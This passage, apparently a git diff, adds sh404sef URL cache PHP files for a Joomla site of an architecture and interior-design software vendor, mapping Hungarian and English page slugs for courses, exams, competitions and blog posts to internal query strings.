+$this->_urlCache['b0afbf1365523463b2ee2f12d1aa1e4c']='index.php?option=com_sppagebuilder&Itemid=681&id=304&lang=hu&view=page#oktatas/workshopok#1'; +$this->_urlCache['f4d1659cef593cc64567f4e45f9477a1']='index.php?option=com_sppagebuilder&Itemid=651&id=283&lang=hu&view=page#oktatas/webinariumok#1'; +$this->_urlCache['0eb4fcde6df8a31d37ad9708a38c211d']='index.php?option=com_sppagebuilder&Itemid=800&id=402&lang=hu&view=page#oktatas/ferenczi-eva-tanfolyam#0'; +$this->_urlCache['7d705b52eb5fa542235cba9073236cb4']='index.php?option=com_sppagebuilder&Itemid=758&id=365&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam#0'; +$this->_urlCache['379cc8b845696aeeb3f29b9adb9ceeb6']='index.php?option=com_sppagebuilder&Itemid=759&id=366&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/belter#0'; +$this->_urlCache['943b49c6cf3f76273da6a2e878576061']='index.php?option=com_sppagebuilder&Itemid=763&id=369&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/kulter#0'; +$this->_urlCache['f68df0b4690482cf4e1b4a69322dee0a']='index.php?option=com_sppagebuilder&Itemid=764&id=370&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/photoshop#0'; +$this->_urlCache['d588d60b6b00e76ec5c3d8b742ca339e']='index.php?option=com_sppagebuilder&Itemid=780&id=384&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/d5-render-alap#1'; +$this->_urlCache['15e33e370bba855063f3e1dceffc98ca']='index.php?option=com_sppagebuilder&Itemid=801&id=403&lang=hu&view=page#oktatas/harosi-krisztina-render-tanfolyam/d5-render-halado#1'; +$this->_urlCache['e7f91f26162198a201bb8935842ef480']='index.php?option=com_sppagebuilder&Itemid=807&id=408&lang=hu&view=page#oktatas/d5-render-3-0-ujdonsagok#0'; +$this->_urlCache['31a340a437d2219b04d6090373adde39']='index.php?option=com_sppagebuilder&Itemid=766&id=374&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok#0'; +$this->_urlCache['4cc496b38cc0679379fafbc488800cd0']='index.php?option=com_sppagebuilder&Itemid=767&id=375&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-kezdo-tanfolyam#1'; +$this->_urlCache['0e6a51b24a8b2aa3ac9234586c99ebab']='index.php?option=com_sppagebuilder&Itemid=768&id=376&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-halado-tanfolyam#0'; +$this->_urlCache['20ab894ada18cb4133100432353d83c7']='index.php?option=com_sppagebuilder&Itemid=786&id=389&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-kiviteli-terv-tanfolyam#0'; +$this->_urlCache['9506eaabb6dc1bc6d2e344daf558cd46']='index.php?option=com_sppagebuilder&Itemid=769&id=377&lang=hu&view=page#oktatas/aranyi-klaudia-tanfolyamok/aranyi-klaudia-teto-es-lepcso-szerkesztes-tanfolyam#0'; +$this->_urlCache['9be11022228b6f95ccfb718d3f846cd6']='index.php?option=com_sppagebuilder&Itemid=193&id=132&lang=hu&view=page#oktatas/vizsgák#1'; +$this->_urlCache['76b160e1b9faf7bc4a4a98949e1654d9']='index.php?option=com_sppagebuilder&Itemid=347&id=99&lang=hu&view=page#oktatas/workshopok/esemenynaptar#0'; +$this->_urlCache['798303c403f91401a750c7d3817a763e']='index.php?option=com_sppagebuilder&Itemid=433&id=128&lang=hu&view=page#oktatas/workshopok/alapfoku-vizsga#0'; +$this->_urlCache['97fe969bcfa056aa48cae6428415e514']='index.php?option=com_sppagebuilder&Itemid=434&id=129&lang=hu&view=page#oktatas/workshopok/kozepfoku-vizsga#0'; +$this->_urlCache['8350ff20eba2eba90d12fa289e9452e6']='index.php?option=com_sppagebuilder&Itemid=435&id=293&lang=hu&view=page#oktatas/workshopok/alapfoku-tanfolyam#0'; +$this->_urlCache['b9b70c4478f44a38a47faf4198fcd728']='index.php?option=com_sppagebuilder&Itemid=549&id=203&lang=hu&view=page#oktatas/workshopok/alapfoku-hallgatoi-vizsga#0'; +$this->_urlCache['84525d8b946004cd225e41158ce03355']='index.php?option=com_sppagebuilder&Itemid=550&id=204&lang=hu&view=page#oktatas/workshopok/kozepfoku-hallgatoi-vizsga#0'; +$this->_urlCache['2d5f2b24c7e88899b5bc411f9730d954']='index.php?option=com_sppagebuilder&Itemid=589&id=238&lang=hu&view=page#oktatas/workshopok/lepcso-es-tetoter-szerkesztes#0'; +$this->_urlCache['a1ec19bfdb334a6c33379e7c020c44d0']='index.php?option=com_sppagebuilder&Itemid=590&id=239&lang=hu&view=page#oktatas/workshopok/epiteszeti-tervfeldolgozas-lepcso-szerkesztes#0'; +$this->_urlCache['9e3800b921f53d9bea2d80094a6509d9']='index.php?option=com_sppagebuilder&Itemid=595&id=246&lang=hu&view=page#oktatas/workshopok/felsofoku-tanfolyam#0'; +$this->_urlCache['a27e3842e7ffc7f20c70a4a224380717']='index.php?option=com_sppagebuilder&Itemid=596&id=248&lang=hu&view=page#oktatas/workshopok/foliakezeles#0'; +$this->_urlCache['9972607f1b48ab85fd23507dbd414b49']='index.php?option=com_sppagebuilder&Itemid=597&id=249&lang=hu&view=page#oktatas/workshopok/tervezesi-fazisok#0'; +$this->_urlCache['b69a77c4c900375e0fac1443c0b8db92']='index.php?option=com_sppagebuilder&Itemid=599&id=257&lang=hu&view=page#oktatas/workshopok/felsofoku-vizsga#0'; +$this->_urlCache['2cdaac839417170861549519c309a02d']='index.php?option=com_sppagebuilder&Itemid=600&id=250&lang=hu&view=page#oktatas/workshopok/nyilaszaro-keszitese#0'; +$this->_urlCache['0cbd4a8079c19b85fb3ff9cfd1cd2800']='index.php?option=com_sppagebuilder&Itemid=601&id=251&lang=hu&view=page#oktatas/workshopok/csapatmunka#0'; +$this->_urlCache['e9f70d7d1e130a7a321bb82a2fe30188']='index.php?option=com_sppagebuilder&Itemid=602&id=252&lang=hu&view=page#oktatas/workshopok/vilagitasi-terv#0'; +$this->_urlCache['2a00c04e4db304161b41d24dbd4e9d45']='index.php?option=com_sppagebuilder&Itemid=603&id=253&lang=hu&view=page#oktatas/workshopok/almennyezet#0'; +$this->_urlCache['75cffaf00395f818b19f6a6eaf4eb7fe']='index.php?option=com_sppagebuilder&Itemid=604&id=254&lang=hu&view=page#oktatas/workshopok/fuggonyfalak-es-uzleti-portalok#0'; +$this->_urlCache['153085e6cda31f97c4625e11012af2ce']='index.php?option=com_sppagebuilder&Itemid=605&id=255&lang=hu&view=page#oktatas/workshopok/vazszerkezetes-falak#0'; +$this->_urlCache['5536fabe02b9e38a32b81af01a1a7d81']='index.php?option=com_sppagebuilder&Itemid=606&id=258&lang=hu&view=page#oktatas/workshopok/epiteszeti-tanfolyam#0'; +$this->_urlCache['8d00a8c4e6a4db083a7c5360a6e2ad28']='index.php?option=com_sppagebuilder&Itemid=649&id=280&lang=hu&view=page#oktatas/workshopok/alapfoku-hallgatoi-vizsga-2#0'; +$this->_urlCache['d80d6e2432a7d102ec8ca05002ccbf4a']='index.php?option=com_sppagebuilder&Itemid=650&id=282&lang=hu&view=page#oktatas/workshopok/felsofoku-vizsga-oktatok-szamara#0'; +$this->_urlCache['e1fb17d476090e2f3cedc6edebfdfac9']='index.php?option=com_sppagebuilder&Itemid=667&id=301&lang=hu&view=page#oktatas/workshopok/alapfoku-hallgatoi-vizsga-3#0'; +$this->_urlCache['7b3f8cb75e9cdb6ec17688a6d7cbe652']='index.php?option=com_sppagebuilder&Itemid=684&id=307&lang=hu&view=page#oktatas/workshopok/kozepfoku-hallgatoi-vizsga-2#1'; +$this->_urlCache['ac4ce1d984e0a4d1fcce24c20e6db9ea']='index.php?option=com_sppagebuilder&Itemid=685&id=308&lang=hu&view=page#oktatas/workshopok/alapfoku-hallgatoi-vizsga-4#1'; +$this->_urlCache['89e056288321c2d105171932e78d5ab4']='index.php?option=com_sppagebuilder&Itemid=725&id=329&lang=hu&view=page#oktatas/workshopok/alapfoku-hallgatoi-vizsga-5#1'; +$this->_urlCache['3a5d66db9c8ddd4c8cc09900e15a0313']='index.php?option=com_sppagebuilder&Itemid=746&id=349&lang=hu&view=page#oktatas/vizsgak/kozepfoku-hallgatoi-vizsga-3#0'; +$this->_urlCache['d5ba183e74073eb3497f0236f4357ea1']='index.php?option=com_sppagebuilder&Itemid=747&id=350&lang=hu&view=page#oktatas/vizsgak/kozepfoku-hallgatoi-vizsga-4#0'; +$this->_urlCache['b4c53e6c9ec367abdec70034ff2a9184']='index.php?option=com_sppagebuilder&Itemid=195&id=355&lang=hu&view=page#oktatas/iskolak#0'; +$this->_urlCache['5f5803ad18dee3ee3c51f3fe271a2900']='index.php?option=com_sppagebuilder&Itemid=666&id=300&lang=hu&view=page#oktatas/iskolak/oktatoi-bonusz-vizsga#0'; +$this->_urlCache['73580aef4c5e0bff6c33ca098b852d6e']='index.php?option=com_sppagebuilder&Itemid=210&id=356&lang=hu&view=page#oktatas/termektamogatas#0'; +$this->_urlCache['d8b49855e54e627c375bd7009e8365b4']='index.php?option=com_sppagebuilder&Itemid=808&id=409&lang=hu&view=page#palyazatok/rendering-palyazat-2026-kiiras#1'; +$this->_urlCache['32c0f01ec6599853c893fb55868d0d9e']='index.php?option=com_sppagebuilder&Itemid=810&id=411&lang=hu&view=page#palyazatok/rendering-palyazat-2026/archline-d5-render#0'; +$this->_urlCache['75a1f32a11a4107e5e391d92dbb5a688']='index.php?option=com_sppagebuilder&Itemid=809&id=410&lang=hu&view=page#palyazatok/rendering-palyazat-2026/archline-render#0'; +$this->_urlCache['c8dd70e5f2ed00166dabe9d7a3f1c532']='index.php?option=com_sppagebuilder&Itemid=805&id=406&lang=hu&view=page#palyazatok/losz-ev-lakberendezoje-2025-kulondijas#0'; +$this->_urlCache['d1ad69282b16ae75b0525a8ad19d16b6']='index.php?option=com_sppagebuilder&Itemid=806&id=407&lang=hu&view=page#palyazatok/losz-ev-szobaja-2026-kulondijas#0'; +$this->_urlCache['15aca545edec1eac6668ff069c377dd4']='index.php?option=com_sppagebuilder&Itemid=804&id=405&lang=hu&view=page#palyazatok/losz-ev-furdoszobaja-2026-palyazat-kulondij#0'; +$this->_urlCache['df38419782873230fabd8924da66c195']='index.php?option=com_sppagebuilder&Itemid=798&id=400&lang=hu&view=page#palyazatok/losz-ev-lakberendezoje-2025-palyazat#0'; +$this->_urlCache['9ff62a09b51c7cec6ed402564f38dc41']='index.php?option=com_sppagebuilder&Itemid=797&id=399&lang=hu&view=page#palyazatok/losz-ev-szobaja-2026-palyazat#0'; +$this->_urlCache['1a735ea940bbec79a0a1da898b4eeea3']='index.php?option=com_sppagebuilder&Itemid=796&id=398&lang=hu&view=page#palyazatok/losz-ev-furdoszobaja-2026-palyazat#0'; +$this->_urlCache['b363dea3dc42af8b5ffd4e5db79706ad']='index.php?option=com_sppagebuilder&Itemid=792&id=393&lang=hu&view=page#palyazatok/az-ev-legjobb-vizsgamunkaja-2025#0'; +$this->_urlCache['f3a5a8ad3ac2e2ecfc8f9d5bfc4f46f8']='index.php?option=com_sppagebuilder&Itemid=794&id=396&lang=hu&view=page#palyazatok/az-ev-legjobb-vizsgamunkaja-2025-dijazottak#0'; +$this->_urlCache['744fe6a72e9ea913868c2f3023fa6b2e']='index.php?option=com_sppagebuilder&Itemid=782&id=386&lang=hu&view=page#palyazatok/rendering-palyazat-2025-dijazottak#1'; +$this->_urlCache['379dbdcc8551b3d963054d7810cea4ca']='index.php?option=com_sppagebuilder&Itemid=773&id=378&lang=hu&view=page#palyazatok/rendering-palyazat-2025#0'; +$this->_urlCache['496c9d7a3ea6f01b3f375104db6edbca']='index.php?option=com_sppagebuilder&Itemid=761&id=368&lang=hu&view=page#palyazatok/losz-ev-furdoszobaja-2025-palyazat#0'; +$this->_urlCache['05496e19f8bb0e8566c9efd95eaa75a5']='index.php?option=com_sppagebuilder&Itemid=762&id=334&lang=hu&view=page#palyazatok/losz-ev-szobaja-2025#0'; +$this->_urlCache['614c917c9cef1cfb1fad3a05e0b10cd3']='index.php?option=com_sppagebuilder&Itemid=760&id=367&lang=hu&view=page#palyazatok/losz-ev-lakberendezoje-2024-palyazati-kiiras#1'; +$this->_urlCache['c0a8fb6e8cbc07a75124e5dd208ebe64']='index.php?option=com_content&Itemid=176&id=21&lang=hu&layout=blog&view=category#palyazatok/ev-kepe/#0'; +$this->_urlCache['a4f1e55ad5bfa923dc00f08b5f6e6a2e']='index.php?option=com_sppagebuilder&Itemid=724&id=327&lang=hu&view=page#palyazatok/blog-palyazati-felhivas#0'; +$this->_urlCache['3eaa77bf995880825d27312f2ef7f57a']='index.php?option=com_sppagebuilder&Itemid=682&id=316&lang=hu&view=page#palyazatok/losz-ev-lakberendezoje-2022#0'; +$this->_urlCache['19d4947520ec910cbf2dc21b4b8ae1a5']='index.php?option=com_sppagebuilder&Itemid=661&id=295&lang=hu&view=page#palyazatok/ev-lakberendezoje-2021-kulon-dij#0'; +$this->_urlCache['cf10ba3bce389ab467789f43567ed4a8']='index.php?option=com_content&Itemid=790&id=1105&lang=hu&view=article#palyazatok/rendering-palyazat-2025-dijatado-kepek#0'; +$this->_urlCache['4b0d2abc7c31c6fb508a63fac038f805']='index.php?option=com_sppagebuilder&Itemid=765&id=371&lang=hu&view=page#palyazatok/ev-lakberendezoje-2024#1'; +$this->_urlCache['b2c391262d2d827f752fe494c2c52f02']='index.php?option=com_sppagebuilder&Itemid=774&id=380&lang=hu&view=page#palyazatok/losz-ev-szobaja-2025-kulondijas#0'; +$this->_urlCache['8a606d6501544f55b353a566870f885f']='index.php?option=com_sppagebuilder&Itemid=772&id=379&lang=hu&view=page#palyazatok/ev-furdoszobaja-2025-kulondij#0'; +$this->_urlCache['328330df20170514ca8b95542084ce48']='index.php?option=com_sppagebuilder&Itemid=756&id=364&lang=hu&view=page#palyazatok/rendering-palyazat-2024-dijazottak#0'; +$this->_urlCache['19d12d45afbe0bb0a0b68f0e285fd338']='index.php?option=com_sppagebuilder&Itemid=745&id=347&lang=hu&view=page#palyazatok/ev-szobaja-2024-kulondij#0'; +$this->_urlCache['a7059a01bb34dd9b351b39ef5e4c93fe']='index.php?option=com_sppagebuilder&Itemid=736&id=336&lang=hu&view=page#palyazatok/ev-furdoszobaja-2024-kulondij#0'; +$this->_urlCache['4f1aad2a9b086d935c287c0396a333a2']='index.php?option=com_sppagebuilder&Itemid=733&id=332&lang=hu&view=page#palyazatok/losz-ev-lakberendezoje-2023-palyazat-kulondijas#0'; +$this->_urlCache['a40af25b4a70cf31dba4bc7b5b083007']='index.php?option=com_content&Itemid=175&id=20&lang=hu&layout=blog&view=category#palyazatok/honap-kepe/#0'; +$this->_urlCache['3aa5ad0716e8c0afc160a736c878ecf3']='index.php?option=com_sppagebuilder&Itemid=340&id=96&lang=hu&view=page#palyazatok/honap-kepe/palyazati-feltetelek#0'; +$this->_urlCache['00507a3ce27bebbd52f07119812b9b60']='index.php?option=com_content&Itemid=795&id=1111&lang=hu&view=article#palyazatok/az-ev-legjobb-vizsgamunkaja-palyazat-2025-dijatado-kepek#0'; +$this->_urlCache['de7cd00cebafc1aa226d530489d2e6f5']='index.php?option=com_sppagebuilder&Itemid=695&id=348&lang=hu&view=page#vasarlas#0'; +$this->_urlCache['754843de3eb6903dc93e0740646b1e3a']='index.php?option=com_sppagebuilder&Itemid=696&id=383&lang=hu&view=page#vasarlas/frissites-karbantartas#1'; +$this->_urlCache['004a6c9e46132205a9de68fb44afed66']='index.php?option=com_sppagebuilder&Itemid=788&id=391&lang=hu&view=page#vasarlas/airender#1'; +$this->_urlCache['b38da2f93cf57d4cd07ae8010c18bc26']='index.php?option=com_sppagebuilder&Itemid=802&id=404&lang=hu&view=page#vasarlas/frissites-karbantartas-akcio-render#1'; +$this->_urlCache['037a38660ebb7e7fb5508c3074f26847']='index.php?option=com_sppagebuilder&Itemid=575&id=93&lang=hu&view=page#letoltes/probaverzio#0'; +$this->_urlCache['a7dfe20b2f3a0c88efc79059fa78c3e1']='index.php?option=com_sppagebuilder&Itemid=213&id=56&lang=hu&view=page#letoltes/letoltesikozpont#0'; +$this->_urlCache['72c39ba18f2b9e247794d89f2f127909']='index.php?option=com_sppagebuilder&Itemid=214&id=61&lang=hu&view=page#letoltes/letoltesikozpont/letoltheto-projektek#0'; +$this->_urlCache['a70c43a92e0060a6ab8a2aa684dab6aa']='index.php?option=com_sppagebuilder&Itemid=321&id=62&lang=hu&view=page#letoltes/letoltesikozpont/alkalmazasok/driverek#0'; +$this->_urlCache['06b7f800c904a73c363d1a7e260f88d1']='index.php?option=com_sppagebuilder&Itemid=107&id=86&lang=hu&view=page#kapcsolat#0'; +$this->_urlCache['0f83565cf4b46d7fa1bbb7e291623844']='index.php?option=com_sppagebuilder&Itemid=223&id=48&lang=hu&view=page#felhasznalo#0'; +$this->_urlCache['f9268d4b97e91623bfe2d71778903a85']='index.php?option=com_sppagebuilder&Itemid=582&id=233&lang=hu&view=page#al-licences#0'; +$this->_urlCache['ec8adbaa5a765c29de2e6343e24b7439']='index.php?option=com_sppagebuilder&Itemid=734&id=333&lang=hu&view=page#warehouse/felhasznalasi-feltetelek#1'; +$this->_urlCache['ccc62de6038aeca9b3c824f1662d2c4e']='index.php?option=com_content&Itemid=395&id=586&lang=hu&view=article#jogi/cegismerteto#0'; +$this->_urlCache['1aa0a0033d03efb56a85e0af6810a357']='index.php?option=com_sppagebuilder&Itemid=784&id=387&lang=hu&view=page#rendering-palyazat-2025-dijazottak-archline-render#0'; +$this->_urlCache['7546471a4346bfc86f68071ba6af69c7']='index.php?option=com_sppagebuilder&Itemid=785&id=388&lang=hu&view=page#rendering-palyazat-2025-dijazottak-archline-d5-render#0'; +$shURLCacheCreationDate=1777988529; +$this->_urlCache['b1885ac9f677daa139530cb67d53cac4']='index.php?option=com_sppagebuilder&id=100&lang=hu&view=page#hiba/404#1'; +$shURLCacheCreationDate=1778663565; +$this->_urlCache['865a8654b37635c366760eba814fbb94']='index.php?option=com_sppagebuilder&Itemid=0&id=100&lang=hu&layout=edit&tmpl=component&view=form#100-404-error/edit#0'; +$shURLCacheCreationDate=1778663566; +$this->_urlCache['ca586e40cbb4b4ed81ac15d75fedf3fb']='index.php?option=com_sppagebuilder&Itemid=811&id=412&lang=hu&view=page#oktatas/harosi-krisztina-tanfolyamok#0'; +$shURLCacheCreationDate=1778752968; +$this->_urlCache['177223df7c0c3c2d60514d29d0b52a97']='index.php?option=com_jsn&Itemid=&id=12986&lang=hu&view=profile#erika.bogararchlinexp.com.html#0'; +$this->_urlCache['15dbb326ceb5fe39e1c182e7b3809c2d']='index.php?option=com_jsn&Itemid=&id=42296&lang=hu&view=profile#renata.nagycadline.hu.html#0'; +$this->_urlCache['f3a120e32d4c8fce0332ad28e3c5f8f4']='index.php?option=com_content&Itemid=366&catid=24&id=1135&lang=hu&view=article#blog/munkak-bemutatasa/a-ter-ami-egyutt-el-a-csaladdal#0'; +$this->_urlCache['e88f278aa4a680522dd8db978b4e1da4']='index.php?option=com_content&Itemid=366&catid=24&id=1143&lang=hu&view=article#blog/munkak-bemutatasa/vizparti-nyaralo-ahol-a-design-a-termeszettel-rezonal#0'; +$this->_urlCache['76d03a1e2d7388cee233c322e7453640']='index.php?option=com_content&Itemid=366&catid=24&id=1137&lang=hu&view=article#blog/munkak-bemutatasa/mely-tonusok-hivogato-otthon#0'; +$this->_urlCache['e58a34ac30040f3f0ce7a255d0aa819c']='index.php?option=com_content&Itemid=366&catid=24&id=1134&lang=hu&view=article#blog/munkak-bemutatasa/smaragd-elegancia#0'; +$this->_urlCache['cbe5b97dda859b3e61a7c066281e22a6']='index.php?option=com_content&Itemid=366&catid=24&id=1125&lang=hu&view=article#blog/munkak-bemutatasa/dr-forgo-brigitta-vizsgamunkaja-kiemelt-palyamunka#0'; +$this->_urlCache['b35498ac8243a0c4d7f89ba2a2f46e36']='index.php?option=com_content&Itemid=366&catid=24&id=1121&lang=hu&view=article#blog/munkak-bemutatasa/salanki-jozipovics-timea-vizsgamunkaja-kiemelt-palyamunka#1'; +$this->_urlCache['810a8956de89842c98b0b53e280d902d']='index.php?option=com_content&Itemid=366&catid=24&id=1120&lang=hu&view=article#blog/munkak-bemutatasa/sebestyen-bodrogi-anett-vizsgamunkaja-kiemelt-palyamunka#1'; +$this->_urlCache['087b9a989e68b2384165c452c3908d91']='index.php?option=com_content&Itemid=366&catid=24&id=1119&lang=hu&view=article#blog/munkak-bemutatasa/puskas-laura-vizsgamunkaja-kiemelt-palyamunka#1'; +$this->_urlCache['875d50148da231306c0f74ac6f4b6d36']='index.php?option=com_content&Itemid=366&catid=24&id=1118&lang=hu&view=article#blog/munkak-bemutatasa/palffy-katalin-vizsgamunkaja-kiemelt-palyamunka#1'; +$this->_urlCache['c2f94bc12d0fa4dfe97a9afa61e466a0']='index.php?option=com_content&Itemid=366&catid=24&id=1117&lang=hu&view=article#blog/munkak-bemutatasa/filone-rozgonyi-nora-vizsgamunkaja-kiemelt-palyamunka#0'; +$this->_urlCache['180d7017054ec8a476b66a40e55b3b6b']='index.php?option=com_content&Itemid=366&catid=24&id=1116&lang=hu&view=article#blog/munkak-bemutatasa/szeles-csenge-vizsgamunkaja-kiemelt-palyamunka#0'; +$this->_urlCache['3a1b62664076454216cb1c942d235ccd']='index.php?option=com_content&Itemid=366&catid=24&id=1115&lang=hu&view=article#blog/munkak-bemutatasa/qerimi-nemeti-szilvia-vizsgamunkaja-szakmai-dij-harmadik-helyezett-2#0'; +$this->_urlCache['eddd152d4d3f88bdfc599ffd97af3fe9']='index.php?option=com_content&Itemid=366&catid=24&id=1114&lang=hu&view=article#blog/munkak-bemutatasa/eke-ranga-zsofia-vizsgamunkaja-szakmai-dij-harmadik-helyezett#0'; +$this->_urlCache['f4fed5423a66edba5bb565aa8d73b25a']='index.php?option=com_content&Itemid=366&catid=24&id=1113&lang=hu&view=article#blog/munkak-bemutatasa/tihany-tamara-vizsgamunkaja-szakmai-dij-masodik-helyezett#0'; +$this->_urlCache['c6bf6ef639a9a29ee55dac82ea26ed63']='index.php?option=com_content&Itemid=366&catid=24&id=1112&lang=hu&view=article#blog/munkak-bemutatasa/pakodi-dorka-vizsgamunkaja-szakmai-fodij#0'; +$this->_urlCache['742939bb87c7c9dbe082fe1b0db8b027']='index.php?option=com_content&Itemid=366&catid=24&id=1092&lang=hu&view=article#blog/munkak-bemutatasa/exkluziv-modern-furdoszoba#0'; +$this->_urlCache['f18d65d0e243646703b816f96c2d7d71']='index.php?option=com_content&Itemid=366&catid=24&id=1096&lang=hu&view=article#blog/munkak-bemutatasa/kenyelem-es-stilus-harmoniaja-a-modern-furdoszobaban#0'; +$this->_urlCache['292213d3567c7b5556f8af6f3c67ae04']='index.php?option=com_content&Itemid=366&catid=24&id=1085&lang=hu&view=article#blog/munkak-bemutatasa/bravur-15-negyzetmeteren-a-vizivarosban#0'; +$this->_urlCache['520677bfd1e0976589819dc49051e92d']='index.php?option=com_content&Itemid=366&catid=24&id=1108&lang=hu&view=article#blog/munkak-bemutatasa/archlinexp-2025-d5-render-ferenczi-eva#0'; +$this->_urlCache['1a8ac64c9466ff5f517c3fa8ca30a4a7']='index.php?option=com_content&Itemid=366&catid=24&id=1104&lang=hu&view=article#blog/munkak-bemutatasa/archline-xp-pillanatkepek#0'; +$this->_urlCache['fd1d5ce0e01256045bb65c9d5dddd474']='index.php?option=com_content&Itemid=366&catid=24&id=1086&lang=hu&view=article#blog/munkak-bemutatasa/biborba-barsonyba-gyongyos-koszoruba#0'; +$this->_urlCache['7903a279ca225dfb3d04e17ca35d7d1c']='index.php?option=com_content&Itemid=366&catid=24&id=1107&lang=hu&view=article#blog/munkak-bemutatasa/archlinexp-2025-ai-render-ferenczi-eva#0'; +$this->_urlCache['e8a712e1dbd35b0f8d3e54f669fd7e71']='index.php?option=com_content&Itemid=366&catid=24&id=1106&lang=hu&view=article#blog/munkak-bemutatasa/archlinexp-2025-ai-render-aranyi-klaudia#0'; +$this->_urlCache['69f28173b2bac2bee8e75ddca4e6c00c']='index.php?option=com_content&Itemid=366&catid=24&id=1098&lang=hu&view=article#blog/munkak-bemutatasa/termeszetes-elegancia-modern-kontosben#0'; +$this->_urlCache['25632dfec33ceccafbf56b5a097549e0']='index.php?option=com_content&Itemid=366&catid=24&id=1099&lang=hu&view=article#blog/munkak-bemutatasa/otthon-a-szalon-felett#0'; +$this->_urlCache['68da484980603d6c4a5f34d683b7cc9c']='index.php?option=com_content&Itemid=366&catid=24&id=1102&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-37-konyha-ujragondolva#0'; +$this->_urlCache['7710319e7c01764593176add7de18e2d']='index.php?option=com_content&Itemid=366&catid=24&id=1097&lang=hu&view=article#blog/munkak-bemutatasa/tagas-es-vilagos-ter-harmoniaja#0'; +$this->_urlCache['edddca21ac9934a311f0f5ff6d02fa83']='index.php?option=com_content&Itemid=366&catid=24&id=1095&lang=hu&view=article#blog/munkak-bemutatasa/bauhaus-es-industrial-stilusok-harmonikus-otvozete#0'; +$this->_urlCache['869ea1514bda4d0e3307be2da4e5e6c4']='index.php?option=com_content&Itemid=366&catid=24&id=1094&lang=hu&view=article#blog/munkak-bemutatasa/casalines-ivek-es-vonalak-harmonikus-otthona#0'; +$this->_urlCache['198d18b9227b66f21ec5e76e2e9ef201']='index.php?option=com_content&Itemid=366&catid=24&id=1083&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-32-szoba-konyha-luxus-kivitelben#0'; +$this->_urlCache['861d334e2fe56b5447cf927d152176b6']='index.php?option=com_content&Itemid=366&catid=24&id=1079&lang=hu&view=article#blog/munkak-bemutatasa/deco-hostel#0'; +$shURLCacheCreationDate=1778753975; +$this->_urlCache['650f3272da39d3c6a19e242500893bff']='index.php?option=com_sppagebuilder&Itemid=124&id=339&lang=hu&layout=edit&tmpl=component&view=form#edit/339#0'; +$shURLCacheCreationDate=1778899498; +$this->_urlCache['650f3272da39d3c6a19e242500893bff']='index.php?option=com_sppagebuilder&Itemid=124&id=339&lang=hu&layout=edit&tmpl=component&view=form#edit/339#0'; +$shURLCacheCreationDate=1778899499; +$this->_urlCache['128c1c1fc019cad927787613b07d5c54']='index.php?option=com_sppagebuilder&Itemid=811&id=412&lang=hu&layout=edit&tmpl=component&view=form#edit/412#0'; +$shURLCacheCreationDate=1779957918; +$this->_urlCache['09df47014231eef0917c348837ba8b3d']='index.php?option=com_sppagebuilder&Itemid=812&id=413&lang=hu&view=page#palyazatok/rendering-palyazat-2026-dijazottak#0'; +$this->_urlCache['6098827da78ebc23d67255e732a52b38']='index.php?option=com_content&Itemid=813&id=1146&lang=hu&view=article#palyazatok/rendering-palyazat-2026-dijatado-kepek#0'; +$shURLCacheCreationDate=1781606018; +$this->_urlCache['0e7275cbd70734b65d441a756b525fe1']='index.php?option=com_sppagebuilder&Itemid=812&id=413&lang=hu&layout=edit&tmpl=component&view=form#edit/413#0'; +$shURLCacheCreationDate=1781781483; +$this->_urlCache['73fbfcb68af2a7ae835edd6f7a5528b0']='index.php?option=com_content&Itemid=176&catid=21&id=982&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2022#0'; +$shURLCacheCreationDate=1782671030; +$this->_urlCache['73fbfcb68af2a7ae835edd6f7a5528b0']='index.php?option=com_content&Itemid=176&catid=21&id=982&lang=hu&view=article#palyazatok/ev-kepe/az-ev-kepe-2022#0'; +$shURLCacheCreationDate=1782671031; +$this->_urlCache['3aebdb615c90eced3c9eb7bcac2b88c2']='index.php?option=com_content&Itemid=366&catid=24&id=1126&lang=hu&view=article#blog/munkak-bemutatasa/gal-orsolya-vizsgamunkaja-kiemelt-palyamunka#0'; +$shURLCacheCreationDate=1783665252; \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.d5dde3116a272763f3290493fc57fa14.php b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.d5dde3116a272763f3290493fc57fa14.php new file mode 100644 index 00000000..7a2a9961 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.d5dde3116a272763f3290493fc57fa14.php @@ -0,0 +1,105 @@ +_urlCache['73e87ca79dd3c82aefeb26995db2b696']='index.php?option=com_sppagebuilder&id=100&lang=en&view=page#error/404#1'; +$shURLCacheCreationDate=1778716476; +$this->_urlCache['a0cdbdaeef32c34e76fe8edd78e672d1']='index.php?option=com_sppagebuilder&Itemid=0&id=100&lang=en&layout=edit&tmpl=component&view=form#100-404-error/edit#0'; +$this->_urlCache['017d5c2a2996653986dd70bf74da54b6']='index.php?option=com_sppagebuilder&Itemid=753&id=296&lang=en&view=page#overview#1'; +$this->_urlCache['8e4fda10905afb89dbab09eb337df278']='index.php?option=com_sppagebuilder&Itemid=751&id=294&lang=en&view=page#overview/architectural-benefits#1'; +$this->_urlCache['701ff2e9d4a4222059d2307afb9305e1']='index.php?option=com_sppagebuilder&Itemid=752&id=295&lang=en&view=page#overview/interior-design-benefits#1'; +$this->_urlCache['79ea7f836cbff67f08cbee2cdd8a8b52']='index.php?option=com_sppagebuilder&Itemid=754&id=297&lang=en&view=page#overview/visual-design#1'; +$this->_urlCache['910055e938b6e115236d4814e48ff1fc']='index.php?option=com_sppagebuilder&Itemid=756&id=299&lang=en&view=page#overview/photorealistic-visualisation#1'; +$this->_urlCache['78bdb26d841135466538a560d02f5408']='index.php?option=com_sppagebuilder&Itemid=722&id=272&lang=en&view=page#products/compare-versions#0'; 